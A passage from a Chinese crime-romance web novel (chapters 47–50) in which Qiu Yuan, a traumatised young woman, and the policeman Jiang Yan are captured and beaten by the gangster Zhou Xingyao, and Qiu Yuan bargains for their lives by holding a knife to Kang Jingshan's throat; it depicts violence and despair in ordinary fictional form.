像是多年前那一幕,要是她再奋不顾身地冲上去,是不是就能挽救得了那个女孩?明明是晴朗得不能再晴朗的天,心中却如暴雨倾至,那些声音,多么像那些谩骂,都在真情实意地希望她去死,要是真的离开了,那些声音是不是就会停止?心底翻腾的罪恶,是否也能够平息……
天旋地转,秋原滚在马路边,混乱中看到黑色的人影。
“嘿!你没事把?”陌生的男声。
她像个疯子一样抓着他的手不肯松开,就像大海中抓住的浮舟,直到警察带走了她。
江岩推门进来,小交警跟他说明了情况,指了指秋原在的方向,江岩拍了下他的肩膀,径直走了过去。
他搬了把椅子,坐在秋原对面。
“你怎么样?”
秋原抬起头,双眼无神。
“乔树听一朋友说你差点被车撞了,你……”江岩看着她,在想如何开口,“出什么事了?交警应该跟你说了,救你的那个男的受了点擦伤,没什么大碍。”
许久秋原都不说话。
“我带你出去,要是想说什么,随时来找我。”说着,起身扶秋原起来。
秋原抓着他的胳膊,停住了脚步,低下头手上的力道加深,无望中她想抓住什么,任何漂浮的木头都是她飘渺的希望。
“对不起……对不起……”
她重复着这句话,就像是罪大恶极的犯人在死刑前做最后的挣扎。
江岩看着地面,抓着她肩膀的手不自觉地动了动,那一瞬间他有些恍惚,似乎在她身上,看到了自己的影子,那个无比自责的自己,“别这么说,不是你的错。不是你的错。”
“确定你一个人待着没问题?”江岩给她披上她的一件外套,看着她眼前的状态显然难以让人放心。
“没事,谢谢你了。”
听她这么说,江岩也没办法再说什么,只好说:“有事跟我打电话,还有,记住,不是你的错,你不用自责。”
秋原没有接话,江岩离开了。
“是周星耀。”
江岩猛地转身,快步走到她面前,半蹲着身子,“你刚说,是周星耀?”
秋原双手蒙上了脸,悲痛到难以自持。
江岩没有在再问下去,他也没有说之前调查出来的事,等她情绪稳定了些,才离开。
走在狭窄阴暗的楼道里,江岩点了根烟,深吸一口,走出楼道门,吐出长长的烟圈。他快步走在路上,身后留下细长的阴影。
姜雪峰自杀后,江岩曾多次找薛澜筠试图从她这儿寻得有用的线索,但她性有些古怪加偏执,始终表示自己毫不知情。
但在前些日子,薛澜筠终于松口,描述了当年给她钱的人,其中一个细节就是那人右手手背有个纹身。
至于她为何突然改口,薛澜筠只是说自己突然想起来的。
但那时候她脑海中想的,正是秋原出现在自己家厨房的那一幕,她拿着刀,指着那个孩子。
女儿从来没带同学回家过,那个孩子不是她的同学。
梅阿姨说过,姜雪峰当年是因为自己撞死了个小女孩,收了钱替人顶□□案的罪。但后来一点都没有小孩子被撞死的新闻,就连八卦流言也没有。
梅阿姨曾说起,姜雪峰说女儿的一个同学,名叫秋原的孩子去找了他,不知道是不是自己的女儿想见他。
她没弄懂姜雪峰的心思,多年前是,现如今也是。
她看到秋原的那一刻,不知为何从她眼中看到了罪孽,看到了过去,她拿起了刀,对着一个和女儿差不多大的孩子。
是姜雪峰看不下去了吗?那为何不让她同他一同面对,等他死了反倒让她独自承受。
秋原哭着坐在镜子前,眼睛红肿,即使她已经不想再哭了,但眼泪还是止不住。她拿起身旁地上的剪刀,咔嚓咔嚓费力地剪下了自己的头发。对着镜子里那个陌生的面孔,像是个多情而又忧伤的男孩儿,她笑了,镜子里的人也笑了,通红的脸上挂着笑容,眼眶里全是泪。
她连秋原也不是了……
不用再去酒吧,准确来说,是她
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已经不能再回到酒吧了,整日整夜都关在房子里,天气不是很好,阳光有些微弱,白茫茫的天,一切都让人提不起精神。
敲门声响起,她还以为又是江岩,大概是担心她会再做傻事,每隔一两天他就会来看看她,而这次没想到竟然是殷司源,敲门这件事对他而言可是相当稀奇。
殷司源身穿一身黑西装,头发也整理得一丝不苟,他的装扮提醒着她他父亲的死。
“你什么时候回来的?”
两人对视良久,没想到第一句话是她先说的。
他还在仔细琢磨她像是狗啃了的头发,听到这话抿嘴作出微笑的表情,但显然说不上成功,“刚刚。”
说完越过她进了房间,大摇大摆地环顾整个房间,躺在沙发上,长腿跷在茶几上。
“不得不说,你一个女孩子住的地方真是……”
“真是什么?”
任何声音她都不想放过。
“难以形容。”说完迅速起身往门口走去,“走。”
“去哪儿”这三个字还没有说出口,身体已经先动了,迈开脚步不做声跟了上去。
小区很破旧,楼梯也年久失修,即使在这里住了很长时间,夜里一个人回来也还是会忍不住害怕。此时她看着眼前熟悉的背影,突然想起跟他生活在一个屋檐下的日子,那时的他娇纵任性,以欺负她为乐,多年后长大成人的两人,她依旧受着欺负。
她明白,她深知,就像她知道沈家不需要她一样,救助站不需要她,酒吧也不需要她,同样殷家亦是如此,可此时冲上头的无望使她难以做出理智的行动,她迈了两阶台阶,伸手抓住了他的衣服,眼泪无声落下。
不想再一个人了……
再也不想一个人了……
即使是疼也要在温暖的地方痛着。
殷司源愣了一下,身体没有动,伫立在原地。他突然觉得好笑,就像在迷宫里拼了命走到尽头才发现不过一场毫无意义的游戏,要是他们不是在那个节点相识的,也许事情也不会发展到难以挽回的地步……
恍惚中他看到两人笑着打闹的场景,欲追上去故迈出了一步,失神中脚落在了下一阶台阶,人也惊醒过来,而秋原本就未抓牢,重心不稳从楼梯上滚了下去。
殷司源条件反射伸出了手,但片刻后他手中空无一物,愣了好一会儿。他没这么想的,但终于还是换了副皮囊,慢悠悠走下来,停在最后一阶,蹲下身饶有兴趣地看着狼狈不堪的秋原,冷笑着满是嘲讽,“是不是还想我感谢你?还真是天真呐。”
殷司源起身从她身上跨了过去,上了车等着秋原。
秋原看着车窗外变换的街景,心情无比沉重,觉得什么都无所谓了,又觉得什么都过不去的。而身旁的殷司源,始终皱着眉。
他们在彼此不知道的时间地点,经历了全然不同的事,或心酸或痛苦,或无助或彷徨,再怎么复杂的感情都不为人知,再见面时,也都不再是曾经的模样了。
殷司源接了个电话,车拐了两个路口停住了,他什么都没说走下车。
47.未来没有未来 10
秋原从后视镜里看到他和一个没见过的人在路边,两人抽着烟说着什么,当她收回视线时,注意到一个人影冒出头,躲在巷子里。
没多久,两人谈话结束,殷司源走了几步送那人上了车,转身往回走时巷子里走出一个带着帽子的人,迎面朝他撞了上去。
秋原觉得不对劲下了车。小巷几米远的地方,殷司源把那个人按在地上。
“呵,从哪儿冒出来的臭小子?”说着从他手里抢过了匕首。
那个人试图挣脱,帽子掉在地上,面容清秀的学生模样,“你个混蛋!就是你!”
“你认识我?”
“你混蛋!要不是你小榕怎么会去做流产手术!”
“哦?”
秋原惊讶地停住了脚步,不用说也知道他说的是谁,殷司源在说什么已经听不进去了。
殷司源吐了口血,匕首在手心转了个方向,刀尖朝向那个男孩,“没想到那个贱人还真有人喜欢她?”
“我不许你这么说她!是你毁了她!”说着,手脚在做无谓的挣扎。
秋原悄悄走近,从他背后扣住他的脖子向后拉,对地上的那个男孩说:“快跑!”一个用力过猛只她一人栽倒在地,好在他也松了手。
男孩匆忙麻溜起身跑没影了,殷司源气急起身倒也没追上去,回头看见她的脸神色冷峻,不知是气消了还是愈加生气。
秋原咳嗽了一声,扶着墙站起来,抬眼这才注意到殷司源里面的白衬衫上染了一片血迹,但看向他的脸时,还是分毫不留情,“你不爱的人自然会有他人爱惜,仗着钱和姿色伤害他们!”
她低头看了眼他的衣服,嘴上气势仍不减半分,“是你活该!”
殷司源走近,擦了下嘴角的血迹,点点头调侃道:“嗯还真没想到。”
他一只手撑着墙,表情有些怪异,“不过我也没想到,你会在我背后做这种事。”说完退了一步,举着手里的刀反倒像件玩物,自嘲着说:“呵,我早该想到。这把刀,什么时候是你架在我脖子上?”
秋原不解他在说什么。
他随手扔了匕首,转身回到车上。
他的背影有些瘦弱,微微弯着腰,一只手扶着伤口,相较于几年前的模样,已完完全全是个大人了。
却是个不怎么成熟的大人。
“你这是去哪儿?”
殷司源不做声。
副驾驶座上的秋原看了眼他的伤,“你得去医院。”
他冷笑一声,瞥了她一眼,“你这是在担心我?”
“我没跟你开玩笑,这么下去你会出事。”
“那我就当成你是在担心我。”说着竟也笑了。
“不论你现在要做什么,都先去了医院再说。”
“死不了。”
车停在一家酒店门口,殷司源下了车走进去。
秋原没有作声,他是固执的,更不可能听自己的话,他受伤对自己而言是无关紧要的,甚至可以说是庆幸。
没一会儿他出来后脸色更加难看,上了车胳膊撑在方向盘上,手上的血已经干了。
“要不,我报警?”
他轻笑一声,“报警抓谁?”
“那,我打120?”
殷司源没做声,秋原从兜里翻出手机,这时他突然凑了过来,沾有血迹的手扶着她的头,明亮的大眼睛看着她,像是能把她看透,“我清楚明白地告诉你,要是哪天我死了,就是你害的,记住了吗?”
这句话像魔咒一样,刻在秋原脑海中,挥之不去,鬼使神差地点了点头。
殷司源满意地笑了,只不过现在他脸色惨白,这笑容有些瘆人。
好在男孩伤人没有准头,并未伤及脾胃,医生给他处理了伤口。
秋原站在门外,拿着他的外套,感觉衣服兜里有什么硬的东西,摸出来他的钱包,本想直接塞回去,转念一想,打开了他的钱包,有张酒店的卡吸引了她的注意,全黑没有一个字,换个角度能看到酒店的logo。秋原自然没去过这家酒店,只知道它在嘉海旗下,她把卡揣在后裤兜,钱包重新装回外套里。
送走医生,转身就看到他要下床,秋原拦着,“你受伤了不能乱动。”
“你说我不能动我就不动啊?”
“不是我说的,医生说的。”
殷司源哼了一声,从她手里接过外套穿上就往外走。
“你这么走了,死了不算我的。”
“不算你,别跟来了。”
“你之前说带我去哪儿的。”
殷司源没回头,只摆了摆手。
秋原觉着好生气闷,但又毫无办法。
秋原坐在一小公园的长椅上,手里把玩着那张卡,此时阳光暖暖的,闭上眼阳光落在脸上,从心里涌上一股倦意,大脑在缓慢地转动,究竟如何能找到害死江黎的证据,那个撑伞的人真的是周星耀吗?如果是他的话,按照江岩的说法,他背后是康静山在暗地里帮他,那江黎的事,康静山也参与了吗?如果这么多年他们二人联手犯案,连警察也查不到,她又怎么办得到呢?
越想越头大,线索交织在一起,怎么也理不清,大脑也混沌开来。
踱步到家,思绪也并无任何条理,反倒在楼下看到了江岩。
“你今天出门了?还好吗?”
听他这么问,秋原才想起来差点被车撞到的事,“嗯,没事儿,当时心情不太好,已经没事了。”
说完还勉强挤出一个笑容。
江岩点点头,“没事就好。”
“周星耀和静山之前的事,你查得怎么样了?”
江岩看着她,思量着是否要说出口,说的话又能说多少,张嘴时突然想起,璃月受伤的事,话到了嘴边转了个弯,“他们两人之间的交易我会查清楚,江黎的案子我也会查清楚,如果他们犯了法,我不会放过他们,你就不要管了。”
秋原也想到他身为警察,不可能跟自己多说什么。但也不知道他是做了多少努力,才能冷静地在自己妹妹的名字后加上冷冷的案子一说。
“你不在橘子酒吧上班了?”
秋原看了他一眼,显然没想到他竟然知晓了此事,“嗯,不打算继续留在那里了。”
“康静山有什么行动?”
她摇了摇头。
“你跟姜海蓝,吵架了?”
“你,怎么知道的?”
江岩一时间百口莫辩,“你,你别误会,她来找过我,问些关于你的事。”
秋原松了口气,江岩这才也放下心来,“姜海蓝也是个直来直往的女孩,要是有什么事你也别在意。”
秋原感觉,眼前的江岩有些奇怪。
“要是有什么事,随时来找我。”
秋原点点头,“坐一下吗?”
“不了,你上去吧。”
江岩看着她转身上楼,突然想起之前见到过她的背影,瘦肖,一点也不像个健康的人。等她房间的灯亮了,他点上一根烟,这才慢悠悠走了。
秋原静坐在沙发上,突然想起什么,起身走到床边,从床铺下摸出一个纸袋子,小心翼翼地拿出里面的红色钞票。
上次买情报,用掉了不少,眼下没了工作,一时间有些慌。酒吧的工作不累,工资又高,突然有些后悔一时冲动说出了那样的话。
纵使生活一团糟,她也还是得生活。
颓然坐在地上,靠在床边,但那些话,明明白白地知道了,便不可能不说……
是啊,自欺欺人也要有个限度。
在完成该做的事之前,至少要生活下去。
房门被打开,周星耀大步流星走过来,坐在单人沙发上,翘起二郎腿,紧接着就有服务员送来了上好的茶水和小吃。
周星耀端起
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一盏茶,细细品了口,这才冲着窗边站着的人说:“你不坐?”
“事情搞定了,后顾之忧已除,”男人说着坐在他对面的沙发上,“你的项目可以继续了。”
周星耀一笑,放下茶杯,“你办事我放心。”
随即他的眼神变了,脸上的笑容虽仍在,却给人完全不同的感觉,他抬手示意站着的黑西装的人。
那人很快又回来,一个人被丢在茶几旁边的地板上,紧接着摘下蒙着她脑袋的黑布,揪着她头发,他的右手手背上有个纹身。
“这个人,你不会不认识吧?静山。”
康静山瞥了一眼,眼神毫无变化,“秋原,之前我店里的人,已经不干了。”
“哦是吗?我听人说,店里只一个女服务员?”
“有话直说。”
在周星耀眼神示意下,黑衣服扔在茶几上窃听和偷拍的小玩意儿。
“有什么想说的吗?”
康静山慢条斯理地说:“她已经不是我店里的人了。”
“这么说的话,我想怎么着你都没意见?”
看他一副无所谓的表情,周星耀似乎很满意,从黑衣服手里接过一把刀,蹲在她面前,“仔细看,还是有点意思,”说着刀背在她脸上轻轻划过,“可惜是个贱骨头。”
这句话话音刚落,他抓着秋原的头撞向茶几,茶杯四下滚落。
“好好说说,谁让你来的?”
秋原狼狈地撑起身子,“没有人派我来。”
这时有人敲门,周星耀示意黑衣服去看看。
片刻后,经理模样的人带着一个女服务员走进来,“周老板,抱歉打扰了,但我觉着这件事得早点跟你说。”
说着拿出一张店里的卡,周星耀接过来看了看。
“这是从她那儿找到的,我仔细盘问了才知道她之前就见过这个女的。”经理口中的“她”就是他旁边的女服务员。
“这卡谁的查出来。”
“查出来了。”说着呈上一张纸。
周星耀看了两眼,“她还知道什么?”
“她真以为这女的是替李媛上班的呢,没想到从她衣橱里翻出来这张卡,感觉不对劲,直到您发现这事,才敢说出来,是我监管不力。”
“这女的辞了,还有那个李媛,滚吧。”
女孩险些哭出声,在经理的推拉下离开了,“好好,您忙,有事您叫我。”
两人出门,正巧玫基来了。周星耀坐在沙发上,捉摸着那张纸,是这张卡登记的客户信息。
“你跟殷司源什么关系?”
“谁?我不认识。”
“这张卡怎么来的?”
“捡的。”
玫基看着眼前的一幕有些吃惊,“秋原你怎么在这儿?哥这怎么回事?”
“你自己看咯。”
玫基看了看不做声的康静山,坐在地上的秋原脸上有血,“我不是告诉过你不要再纠缠静山了吗?你是听不懂人话吗?还搞这些乱七八糟的东西跟踪他!你还嫌你害他不够?”
秋原不言不语。
“你打算怎么办?”
“能怎么办,解决掉咯,不管背后有没有人,解决掉不就一干二净了。”
玫基心里咯噔一下,而一旁的康静山依旧没有表态,“在自己家酒店下手你也太放心了吧,最近警察查得严,你是嫌活太久。”
这时黑衣服接到一电话,附耳不知给周星耀说了什么。
“乌鸦嘴,老子出事就是你咒的。”说着起身。
“关我屁事。”
“这人你远点解决。” 说话间黑衣服已经带着秋原往外走了。
“你够硬气啊?”
“他知道分寸。我找人送你回去,你也别玩了,上次把我车撞成那样还没找你呢。”
玫基一脸蒙逼,“哎好像我是你妹吧?”
48.未来没有未来 11
须燕市安静了有一段时日,江岩的行动是从未停息过,他的调查也在平稳与艰难中进行。
“今天缉毒队查了周星耀的酒店。”
江岩一听火不打一处来,站起身追问:“什么情况?”
在他们调查的关键时刻,此刻查了他的酒店无异于自爆行踪。
“接到匿名举报电话,说是有人在酒店吸毒。当时周星耀和康静山都在。”
“查到什么了?”
乔树摇头,“没有。”
江岩重新坐下。
“你是怀疑队里……”
江岩抬手打断了他的话,“你去姚队那儿摸摸情况,”转而针对桌上整理的线索,“最近的调查只跟我汇报。”
“是。”
这段时间,他们调查出周星耀的心腹陈燃,在姜雪峰入狱后,出面给其妻子一大笔现金。
陈燃,男,三十三岁,皮肤黝黑,身高一米八零,体型壮硕,孤儿,话少,曾一度跟在周星耀父亲周显国身边,具体跟随周星耀的时间不详,右手手背有个骷髅头纹身。
江岩怀疑曾出手伤柯璃月恐吓他的人也是此人。
乔树从缉毒队那儿一无所获,江岩也对眼前已有线索一筹莫展,即使能推测出前因后果,但没有实质的证据,他们也不敢轻举妄动。仅是缉毒队上次的行动,也给他们造成了不少影响。
江岩熬了个通宵,被前来上班的乔如意磨了一早上终于给赶了出来。近响午的光景,他看了眼太阳有些眩晕,拖着疲惫的步子打算回去睡一觉。
到了小区外围的店铺买了算是早餐的饭,油条咬下一截还没来得及嚼,手机响了,这个点柯璃月给他打电话有点稀奇。
接了电话才知道她从乔树那儿得知他会回去,已经提前到家门口给他带些她母亲的菜肴。
“钥匙带了吗?”
“放心带了,我已经到了,哎?”
“怎么了?”
“你没反锁门吗?”
“锁了,”紧接着他就察觉出不对劲,“你别进去赶紧出来,喂?璃月?璃月!”
电话那头已经没音了。
江岩拔腿就跑,当他气喘吁吁跑到家门口时,门虚掩着,他摸出腰间的手枪,对着门里,推开了门。
他迅速查了遍房间,空无一人,有细微被翻动过的痕迹,要不是他有经验,可能都看不出那些变动。
门口的地上洒着餐盒,应该是柯璃月带来的。
他跑过来最多三分钟,房子在四楼,只有楼梯,小区两道门,他从近的一侧门过来,绿化挡不住人,越过两排楼就可以看到他住的这栋,时间上来不及完全撤离,那也就是说很有可能藏在四层以上。
思索之间他已经拿着枪悄声出门,警惕地查看楼上情况。
此时五楼楼道外的窗户檐上,戴着黑色鸭舌帽的男人拖着一昏迷的女人,他按着手机正迅速编辑着消息。
“喂,你在哪里干嘛呢!多危险咯!”一大妈喊道。
江岩闻声趴到窗户边,男人见行踪暴露竟拖着女人从窗沿跳了下来,正好三楼的空调机借力,转眼就跳到了地面。
大妈被吓到小碎步躲开了。
江岩迅速翻窗跳下来,与此同时一辆黑色面包车驶来,男人钻了进去。
“妈的多少人给你收尾。”开车的人骂道。
江岩追了上去。
转弯处一辆悄然停着的车突然启动,撞向江岩。
大妈边跑边翻出手机,“喂110嘛,我刚看着一男一女被面包车拖走了,我们小区在……”
差不多花了一个多月时间,秋原的伤才痊愈,她知道自己没幸运,这次周星耀只让手下把她打残以示警告,下次被他抓到可能真就见阎王去了。
拖着孱弱的躯体,秋原去附近的超市囤些吃的,上次出门还是半个月前,当时还是出租屋里什么都没了不得已才出来。这次出门身上的伤差不多好了,身子骨长时间闷房间里可能也有些发痒难耐,迫不及待地想要出来走走。
工作日傍晚时间,超市人不多也没那么少,慢悠悠挑选了些“囤货”,排在结账队伍中,付了钱提着一大袋子满载而归。
出来时天已昏沉,她还在仔细捉摸先吃什么好呢,远处的尖叫声并未引起她的注意,一女人撞到了她,连抱歉都没顾上说匆忙跑了,她抬头这才发现次街口一男人在殴打一女人和一小女孩,可能因为他手里有刀体格又太过凶悍,没人敢上去阻拦。
她遇到过这样的事,在橘子酒吧附近,二十多岁的男人殴打一女孩,嘴里骂着粗俗的脏话,因为喜欢女孩又追求未果,痛恨她经常来酒吧玩,遂出手伤人。
当时夏天,女孩身上深深浅浅被划的刀口触目惊心,哭得撕心裂肺。秋原正往酒吧走,听闻声响冲了过去,开始几下秋原倒也躲了过去,但男人早无理智使出全身气力,秋原也有些招架不住让女孩赶紧跑,可女孩吓得动不了。
在秋原分神中男人失了智反手挥刀,刀刃划过她脖子,她甚至能清楚感觉到自己皮肤被划开气管暴露在外,但也可能那一瞬间的感触也可能只是她的臆想。
秋原永远都忘不了那时候的感觉,一瞬间全身冰凉,呼吸心跳全部止住,真真切切的死亡的恐惧淹没了她。
好在酒吧的人及时赶来,她脖子上的伤口也并不致命。
此时的她又回想起那时候的感觉,好像已经有了一把刀架在她脖子上,只要稍稍一用力她的脖子就断了,血就喷涌而出。手心满是冷汗,脚也灌了铅,她眼睁睁看着男人的刀捅向女人。母亲带着孩子,蹒跚的老年人,从她身旁像幻灯片一般跑过,她突然感觉一阵恶心,是真正从胃里翻出来的酸,她太害怕了,要是能选择一种死法她绝对不想是被人割喉。
“你不去救她吗?”
一个小女孩的声音。
她怔怔地回头,泪流满面,“我怕啊,我真的害怕。”
“那你就逃。”
她尽力忍住哭腔,“我怕后悔啊,要是我本来能救了她呢?”
她活到现在最大的折磨就是后悔,那么多令她后悔的事,魂牵梦绕阴魂不散跟着她折磨了她这么多年,没人比她更知道后悔有多恐怖。
秋原松开抓着袋子的手,一袋子吃食跌在地上,她脸上眼眶均无泪,可以说是面无表情,附近没有小女孩
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,也没有什么可以让她当武器的东西,她就赤手空拳冲了上去。
哄乱的街口,秋原一个一个捡起被人踢散了的“囤货”,抱着袋子走到路边,一屁股坐在马路牙子上,心脏怦怦跳得起劲儿,还没缓下来。
人群围了一圈又一圈,沸沸扬扬说着刚发生在这里的意外,夸赞着制服施暴者的两男人,而最先冲上去的她更是个“旁观者”。
她不知道她们会怎么样,她只知道曾在酒吧被追求者施暴的那个女孩,在男人关了一段时间出来后被他捅死在了上班的路上。
你说她做的事有没有意义,你肯定说当然有意义,就是不能让恶猖狂。
但在秋原看来,那个女孩还是死在了施暴者手下,她曾做的毫无意义。
她怕死,胆小又怂包,从小到大从来不是畅快磊落地活着,也难以真正真切地表达出自己想的想要的。所以长大后,她做的更多是为了自己不后悔,不那么愧疚,她是为了自己才冲上去的,好人坏人多了去了,她说不上是坏人,但也不是什么好人。
有个人停在她视线中,她抬头才发现是沈榕。
她递给她一瓶水,秋原怔怔看了那瓶水好一会儿,才接过来,咕咚咕咚灌了大半瓶。
沈榕坐在她旁边的地上。
“你没受伤吧?”
秋原挡了下有道伤口的右手,“没有。”
过了良久,警察来了,人群依旧喧闹,“你一女的,遇到这种事就别强出头了。”
秋原这才反应过来她早就看到了自己,顿了会儿才说:“女孩子是上天的恩赐啊,是世界的珍宝啊,不应该被恶人欺负。”
听到这话的沈榕,心情顿时复杂,其实说出那句话的时候,她心里并无底气,因为在混乱中,她也跑了,拔腿就跑,跟着人流,逃离了案发现场。可等她夹着尾巴跑远了,才发现同样有个女生,逆着人流冲了上去,这些都不算什么,最重要的,那个人是她,是那个她百般嫌弃,欺侮辱骂的任人欺负的不争气“姐姐”。
“会有男的上去帮忙的,那几个男的不就是。”
秋原眯着眼看着那几人的方向,但实际上并未把他们看在眼里,略带惋惜地说:“只有女孩才会救女孩啊。”
你不知道是女人先被打死,还是男人们先出手。你也不知道要是没有第一个冲上去的女孩,原本还会不会有其他出手的人。
“你……殷司源……有个男生找到他……”秋原还是没能问出口,“他打不过殷司源的。”
而沈榕已经听懂了她的话,轻描淡写地说:“不是他,我骗了于天,没想到他这么蠢。”
听到她说不是殷司源,不知为何她为何心里反而松了一口气。
“这事你别跟爸妈说,不然我就死定了。”
“他们欠的钱……”
“这你不用管了,又不是他们解决不了,自讨苦吃这下长记性了。”
秋原很低声地“嗯”了一声,起身提起地上的袋子,没有看她,“我走了。”
沈榕不知道该说什么,看着她转身走远。
她不会再苦口婆心地劝慰她了,可不知为何她反而有些怅然若失。
49.未来没有未来 12
从超市回去,没开灯,秋原静坐了会儿觉得烦闷便又出去走走,没想到碰到了从便利店出来的黄昊军,他点了支烟,四下观望了一眼,便沿街走了。
秋原悄悄跟了上去。他辗转走了两条街,上了路边停着的一辆车,她站在车子不远处,车子发动,她退回巷子里。
从背后有人突然袭击,她的头部受到打击扑在地上,很快起身看不清面孔的人影挥拳打了过来,秋原结结实实挨了几下觉得不妙得溜,肩上挨了一刀,没走两步失去意识倒在了地上。
黄昊军上的那辆本开走的车又绕了回来,停在巷口,车窗落下,黄昊军的脸露出。
“这人谁啊?”暗处的人走出来,把秋原翻了个面,脸朝上。
瞧了瞧这人的脸,黄昊军一时也想不起她是谁,但想起她跟踪自己一路,也是不解,“不知道先带上来回去再说。”
秋原隐约听到了什么声响,恢复意识时随之而来的是头部和肩膀上的疼痛,她隐约听得一些声音,女人的哭声,男人的咒骂声,逐渐清晰,缓了一会儿,才辨认出那些声音出自何人,柯璃月的哭声。
“别打了,别打了!求你们别打了。”
“老大,那小子昏过去了。”
片刻后,男人低声说道:“给他打一针,不醒着多没意思。”
“是。”
江岩?
“他是警察,你们这样对他不会有好下场的。”
“下场?”周星耀蹲在柯璃月面前,轻抚她的脸庞,璃月愤怒地别过脸,他冷笑着接着说:“下场只会是你们这群人死无葬身之地,万幸吧,要不是我乐意陪你们玩玩,现在你们早去见阎王了。”
“混蛋你别碰她!”江岩已昏死过去一次,在药物作用下恢复了意识,嘴里满是鲜血,怒火在他眼中愈演愈烈。
周星耀侧目看了他一眼,带着不可一世的笑,突然伸手抓着璃月的脖子,逐渐贴近她,他最喜欢看的就是他们眼中的恐惧,绝望中的恐惧,“现在你的女人可在我手上,你想救她?还是先考虑考虑自己吧。”
“混蛋你放开她!有什么事冲我来!”江岩挣脱着扑过来,被旁边的人一拳结结实实打在腹部,吐了一大口血,瘫在了地上。
“江岩!江岩!”
秋原从微微动了动双手,隐约记起自己从后备箱被人拖出来,微微睁眼发现身旁监视她的人正注视了周星耀,刀还插在后肩,周星耀最喜欢折磨人,璃月被人钳制着,江岩看样子也吃不消,这样下去,她们三人谁都活不了。
她微睁的视线落在康静山身上,他背对着自己,对眼前的事无动于衷,大概见识过无数次这样的事,甚至是参与其中,享受这样的“乐趣”,帮周星耀处理后事,想到这儿,她的身体忍不住微微发抖。
但此刻容不得她迟疑。周星耀谁都不怕,谁也不在乎,可他这么多年如鱼得水,就是因为背后有康静山,同时这也是他的弱点,也是她活下去的唯一突破口。
可江岩受重伤,璃月一个弱女子,周星耀的人这么多,他们也不知身处何处,就算有一线生机,又怎么跑得出去。
“江岩!江岩!你让他们住手!我求你了!这样下去他会死的!”
一打手踩在江岩后背的伤口上。
“你说什么我都答应你!我求你放了他!”
秋原的手心湿了,身躯也紧绷着,没有时间了,只一次的机会。她瞄准时机,一脚踹在监视她的人的膝盖上,起身的瞬间把拔出插在肩口上的刀,听到动静的人纷纷转过身看过来,她的刀已经抵在康静山的脖子上。
“别动!”
“拔了刀伤口会严重。”他云淡风轻地说出这句话,就像是此前以往的事都不曾发生过,他怎能如此轻而易举地抹去。
不可饶恕。
她注视着周星耀的一举一动,而他则漫不经心地起身走近两步。
“放了他们!”
周星耀笑了,秋原的手抖了一下,即便早知他是疯狂的人,此时也被他的笑吓到。
“我知道,你这些年干的事,都是康静山给你善后,他要死了,你可就没这么快活了。”
“哎呀呀,静山我就说你,养虎为患呐,早让你除掉她,就是不听,这下我可帮不了你了。”他摊开双手,一脸的无可奈何。
“你别以为我不敢杀他!快放了他们。”
周星耀走到江岩身旁,蹲下身看他,“放了他们?他可是警察啊!放了他我还有活路?你当我傻啊?一个不会开口的警察,和一个棋子,用得着选吗?”
秋原手里的刀微微用力,不用看也知道血流了出来,她看见周星耀的眼神,这才有了少许的把握。
周星耀的神情严肃了些许,看她的眼神多了丝愤怒,正色厉声道:“你以为你们活着逃出这里?”
“那不如这样,你给我一次机会,要是我们逃得了,算我们命好,要是逃不掉……你随意。”
周星耀笑了,“哈哈哈我有什么好处?你可要看清楚点,现在可是你们都在我手里。我给你个机会,给你个……杀了他的机会,我现在倒是对这一幕比较感兴趣。”
秋原突然有些慌了,眼前这人果然是个疯子。
“是静山把你带回须燕,我还知道,你差点杀了黄昊军,还留在了酒吧,哈哈,我还真想看看,你是怎么下得了手的。”
秋原握紧了手里的刀,气息也急促了起来,看了眼静山,她慌了。
不知陆川从哪里出来,“秋原!你不要动静山!你要人质我来做你的人质!”
陆川走近一步,伸着双手试图安抚秋原。
“你别过来!”秋原喊道,这一声过后倒像是费了极大的气力,软绵绵地说:“对不起,没用的……”
“周星耀,我不管你怎么打算的,静山要出了事,这事就没得解了。”
周星耀不以为然地笑了,坐在一把木质椅子上,翘着二郎腿,“哎呀呀,静山啊我说你
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什么好呢?这一个两个的,有想杀你的,有想保你的,你想怎么玩?”
康静山站了许久早就累了,脖子的伤口却浑然不觉,倒是有些体力不支,“没力气陪你玩儿,赶紧解决了。”
周星耀哈哈大笑,“这就是你的不对了,陪她玩的,明明是你啊,我倒也好奇,你还能坚持多久。”
秋原看了看静山,他的侧脸看起来略微苍白,她看到周星耀满是玩味的眼神,突然后背一阵发凉,他是要她在静山和江岩之间做一个选择。
江岩挣扎着想起身,一次次被几个打手按倒在地,璃月撕心裂肺的哭声好像从来没有停止,那一刻秋原萌生出扔下匕首逃跑的想法,一个人跑到空无一人的地方,没有愧疚,没有揪心,没有选择,没有伤害。
不用伤害别人,也不用担心被人伤害。
“周星耀,我知道你什么都不怕,即便现在警察知道你是许多案子的元凶,也照样没有证据把你怎么不了,既然如此,你敢不敢来赌一把,看看今天我们能不能从你手上逃掉。”
周星耀伸出右手食指不可一世地摆了下,“现在你没资格跟我玩。”
“那这个呢,你两周前去过蒋仙儿的家,在她家里呆了将近四十分钟,警察发现她已经溺死在浴缸中,死亡时间就是你出现在她家的时候。”
听到这番话,周星耀并没有什么反应,反而是等着她接着说。
“你再次出现你伤害过的女孩面前,就是打算逼死她们,有康静山在,你根本就是肆无忌惮地出入她们的家,因为你知道,康静山会把你出现过的所有线索抹得一干二净,甚至是找到毫无破绽的替罪羊,所以蒋仙儿死后,你还大摇大摆地出现在她卧室的窗户边抽烟,但你没想到吧,这一幕正好被她对面楼上一个偷窥狂录了下来。”
周星耀的手有节奏地在腿上敲打,听到最后时,他的手停住了。
“如果今天晚上江岩和柯璃月不能活着回去,这些东西明天一早就会准时出现在余海的手上。”
沉默了几秒钟,周星耀突然起身,放声大笑,甚至鼓起掌来,“有点意思,怪不得,静山留你这么久。听你的人说这么多,有何感想?”
最后的问题,问的是康静山。
“没猜错的话,蒋仙儿死后也是康静山给你善后,你就没想过,以他这么聪明谨慎的人,怎么可能会放过这么重要的线索?”
秋原看得出,周星耀的眼神这才变得些许不同。
“秋原!你知道你在说什么吗!”陆川吼道。
秋原看了一眼陆川,说实话她心里也满是忐忑,不知这步棋究竟是生棋还是死棋,稍稍一个不留神,死在这儿的绝不止她一人。
周星耀来回走了几步,似乎仔细思量过,再抬头已恢复了之前的眼神,嘴角带着笑意,“好啊,我现在倒是感兴趣了,十分钟,”说着举起双手,“给你十分钟我倒要看看你有什么本事。”
说完坐下,吩咐手下的人开始计时。
50.未来没有未来 13
一听他们已开始计时,秋原没来由地心急,但拿刀的手丝毫不敢松懈,“柯璃月!”
